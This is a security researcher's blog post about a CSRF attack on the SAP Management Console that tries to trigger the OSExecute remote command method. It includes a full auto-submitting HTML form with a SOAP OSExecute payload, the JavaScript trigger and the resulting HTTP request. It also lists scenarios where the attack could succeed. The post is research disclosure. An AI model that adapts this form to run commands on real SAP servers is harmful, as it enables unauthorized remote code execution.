Cатсн²² (in)sесuяitу / ChrisJohnRiley

Because we're damned if we do, and we're damned if we don't!

The CSRF that almost was…

It’s strange sometimes where your inspiration comes from, but regardless of where, it’s good to be back in the saddle when it comes to really enjoying some research. Some people close to me might already be aware, but I’ve not really been “into it” for a while now, as can be seen by the lack of blog posts or interesting content. Lets hope this is the light at the end of that tunnel (… and that it’s not a train, obviously ;)

So, back to the interesting idea. A lot of the research I did into the SAP Management Console was about what an attacker could do accessing it from the internet, or directly when on the local LAN segment. Although there’s probably a lot more attackers could do with this stuff, the protections that SAP have rolled out should be enough to deter most casual attackers. I’d also looked at what attackers could do to attack client-side, by sitting in the middle and providing a tainted JAVA applet when an administrator comes to load the SAP Management Console… or even forcing Basic Authentication at points before the application requires it. The thing I’d not really done was think about what an attacker could do from the internet without ever actually having access to the SAP Management Console.

Looking back at history a bit, I re-read some posts on using CSRF attacks to change settings on local ADSL routers. The attack isn’t new, and there’s more than a few resources discussing it. However I was interested to see if this sort of attack could be used to perform remote code execution on the SAP Management Console using the OSExecute method. Normally this is an authenticated method, so an attacker would need a username / password, but by using CSRF, this seemed like it could be bypassed if certain conditions were met (i.e. an administrator can be lured to the CSRF page, and they are logged into the SAP MC, or have clicked the “save password” prompt to save time on future logons).

Starting off I needed to find a solution to force a user to perform a POST request, as the SOAP message can’t be sent over GET unfortunately. After a bit or playing and research I stumbled on a post by pentest monkey detailing some work he’d done on the same issue. Using an HTML form containing the contents of the POST request as the name field, it was possible to send the desired request. By adding a JavaScript trigger it was also possible to send the form (and thus the POST request) without user actions. So, all well and good.

<FORM NAME="sap" id="sap" ENCTYPE="text/plain" action="http://server.example.com:50013" method="POST">
<input type="hidden" name='<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"><enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body><ns1:OSExecute xmlns:ns1="urn:SAPControl"><command>cmd /c echo "wimming" > c:\temp\proof.txt</command><async>0</async></ns1:OSExecute></SOAP-ENV:Body></SOAP-ENV:Envelope>'>
</FORM>

The above FORM includes a complete SOAP request (using the OSExecute method) within the first input name field. In the case of the POC script, the servername is set using a variable passed to the page forming the POST message. The name of the SAP system internally can easily be found using one of the SAP Management Console modules that are now in Metasploit.

To get the form to automatically submit without user interaction, I added the following JavaScript… (tested in Chrome, IE and Firefox)

function myfunc () {
var frm = document.getElementById("sap");
frm.submit();
}
window.onload = myfunc;

The result is a page that forms a valid POST request to the SAP Management Console inside the targets network.

POST / HTTP/1.1
Host: server.example.com:50013
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
Referer: http://www.catch22insecurity.com/POC/soap_post.php?servername=server.example.com
Content-Type: text/plain
Content-Length: 575

<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"><enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body><ns1:OSExecute xmlns:ns1="urn:SAPControl"><command>cmd /c echo "wimming" > c:\temp\proof.txt</command><async>0</async></ns1:OSExecute></SOAP-ENV:Body></SOAP-ENV:Envelope>=

Despite the additional “=” sign being tagged onto the end (as a result of the HTML FORM), the request is valid and will be honored by the SAP Management Console if valid credentials are already saved in the browser being used, or a valid Basic Auth header is present… and THIS is where the “almost was” comes into play.

When testing it became evident that browsers (IE and Firefox at the very least) don’t automate the response of valid credentials when they’re stored in the browsers password store. When the SAP Management Console responds to the target asking for credentials, even if they’re stored in the browser, the user is prompted to click OK on the already filled out username/password box.

Well that’s a pity! … and no change when serving it up over SSL either.

So where does this work?

So as to not totally come out of this a looser, where does (or could) this attack work. Sticking with SAP Management Console there are a few places it could still work well.

  • The obvious –> Admins that click-through anything. If the user accepts (or enters) valid credentials, then the OSExecute will be successful.
  • SAP MC Methods that are not protected –> Anything where a blind request can be sent and an action is performed without requesting credentials. This is limited in SAP, and as no response can be received by the attacker, the scope is limited.
  • Attacks against specific SSO implementations –> Not naming names, but there are more than a few Single Sign On solutions out there that take the place of browser passwords stores (and other password stores). These solutions may act differently when saving a password… I’ve seen implementations that fill in the credentials and submit them without user action.
  • Situations where an SAP Administrator has already performed direct actions against the SAP Management Console through the browser, thus setting a valid Basic Auth token –> Few and far between, as the interaction is mostly through MMC of JAVA applets that do not need to use the browser.
  • Exploit delivery –> There are, and will probably be in the future, valid one request exploits against SAP Management Console. This attack vector would allow these exploits to be delivered as long as no credentials or other user input is required.

Well there it is… The time invested was minimal and as with everything, you learn as you fail… Feel free to take a look at the POC I put up on my site if you want to try it out for yourself. Please don’t abuse it though!

POC .:

One response to “The CSRF that almost was…

  1. joris van de vis January 8, 2012 at 22:18

    welcome back ‘into it’… 🙂

    great article…